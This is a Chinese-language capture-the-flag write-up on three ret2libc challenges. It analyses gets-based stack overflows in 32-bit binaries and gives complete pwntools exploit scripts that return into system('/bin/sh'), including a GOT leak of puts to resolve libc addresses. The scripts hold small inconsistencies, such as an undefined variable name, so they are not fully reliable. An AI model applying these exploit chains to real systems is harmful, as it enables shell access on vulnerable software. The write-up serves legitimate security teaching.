题目地址 ret2libc
ret2libc 0x1将文件下载到本地后,file 查看文件类型,顺便 checksec 看看保护机制。
1 2 3 4 5 6 7 8 9 sakura@Kylin:~/下载/ret2libc/ret2libc1$ file ret2libc1 ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped sakura@Kylin:~/下载/ret2libc/ret2libc1$ checksec ret2libc1 [*] '/home/sakura/下载/ret2libc/ret2libc1/ret2libc1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
源程序为 32 位,开启了 NX 保护。
0x2拖进 IDA 来看一下程序源代码,确定漏洞位置。
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[100 ]; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(_bss_start, 0 , 1 , 0 ); puts ("RET2LIBC >_<" ); gets(v4); return 0 ; }
可以看到这里有个 gets 函数,可以确定就是 gets 函数发生了栈溢出。
0x3利用 ropgadget 看看是否有 /bin/sh 字符串。
1 2 3 4 sakura@Kylin:~/下载/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string '/bin/sh' Strings information ============================================================ 0x08048720 : /bin/sh
确实存在,在 IDA 中查找一下是否有 system 函数存在。
那么我们直接返回 system 处,即执行 system 函数。相应的 payload 如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *sh = process('./ret2libc1' ) binsh = 0x08048720 system_plt = 0x08048460 payload = flat([b'a' * 112 , system_plt, b'b' * 4 , binshaddr]) sh.sendline(payload) sh.interactive()
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
ret2libc2 0x1该题目与 ret2libc1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以**我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。**由于漏洞与上述一致,这里就不在多说。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *sh = process('./ret2libc2' ) gets_plt = 0x08048460 system_plt = 0x08048490 pop_ebx = 0x0804843d buf2 = 0x804a080 payload = flat( [b'a' * 112 , gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef , buf2]) sh.sendline(payload) sh.sendline(b'/bin/sh' ) sh.interactive()
ret2libc3 0x1在例 ret2libc2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护。
1 2 3 4 5 6 7 8 9 sakura@Kylin:~/下载/ret2libc/ret2libc3$ file ret2libc3 ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped sakura@Kylin:~/下载/ret2libc/ret2libc3$ checksec ret2libc3 [*] '/home/sakura/下载/ret2libc/ret2libc3/ret2libc3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[100 ]; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); puts ("No surprise anymore, system disappeard QQ." ); printf ("Can you find it !?" ); gets(v4); return 0 ; }
0x2那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
1 2 3 4 5 6 7 8 from LibcSearcher import *obj = LibcSearcher("fgets" , 0X7ff39014bd90 ) obj.dump("system" ) obj.dump("str_bin_sh" ) obj.dump("__libc_start_main_ret" )
如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本(如果你确定的话)。
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
溢出思路总结
1、泄露一个ret2libc3函数的位置
2、获取libc的版本(只有被执行过的函数才能获取地址)
①https://libc.blukat.me
②LibcSearcher: https://github.com/lieanu/LibcSearcher
3、根据偏移获取shell和sh的位置
①求libc基地址(函数动态地址一函数偏移量)
②求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
泄露 __libc_start_main 地址 获取 libc 版本 获取 system 地址与 /bin/sh 的地址 再次执行源程序 触发栈溢出执行 system(‘/bin/sh’) exp 如下:
1、手动获取libc基地址
这里面需要用到三个offset,分别为system、puts和sh,可以用 libc database search 网站来获取 libc 基地址
也可以用指令获取:(注意是 IO_puts,之前我一直搜 puts 的地址,结果做不出来)
1 2 3 strings /lib/i386-linux-gnu/libc.so.6 -tx | grep "bin/sh" readelf -a /lib/i386-linux-gnu/libc.so.6| grep "IO_puts" readelf -a /lib/i386-linux-gnu/libc.so.6| grep "system"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import LibcSearchersh = process('./ret2libc3' ) ret2libc3 = ELF('./ret2libc3' ) context.log_level = 'debug' puts_plt = ret2libc3.plt['puts' ] puts_got = ret2libc3.got['puts' ] main = ret2libc3.symbols['_start' ] input ("ready leak libc..." )payload = flat([b'A' * 112 , puts_plt, main, puts_got]) sh.sendlineafter(b'Can you find it !?' , payload) print ("get the related addr" )puts_addr = u32(sh.recv()[0 :4 ]) print ("puts:" + hex (puts_addr))libcbase = puts_addr - 0x071cd0 system_addr = libcbase + 0x045830 binsh_addr = libcbase + 0x192352 input ("ready get shell" )payload = flat([b'A' * 104 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) sh.interactive()
2、利用工具自动获取libc基地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import LibcSearchersh = process('./ret2libc3' ) context.log_level = 'debug' ret2libc3 = ELF('./ret2libc3' ) gdb.attach(sh, "break main" ) puts_got = ret2libc3.got['puts' ] puts_plt = ret2libc3.plt['puts' ] main = ret2libc3.symbols['_start' ] input ("leak puts_got addr and return to main again" )payload = flat([b'A' * 112 , puts_plt, main, puts_got]) sh.sendlineafter(b'Can you find it !?' , payload) input ("ready leak libc..." )puts_addr = u32(sh.recv()[0 :4 ]) print ("puts_addr: " + hex (puts_addr))libc = LibcSearcher('_IO_puts' , puts_addr) libcbase = puts_addr - libc.dump('_IO_puts' ) print ("libcbase: " , hex (libcbase))system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) print ("system: " + hex (system_addr)+"\n" +"binsh:" + hex (binsh_addr))input ("get shell" )payload = flat([b'A' * 112 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) sh.interactive()
参考:
ROP
Stackoverflow Lab006: ret2libc3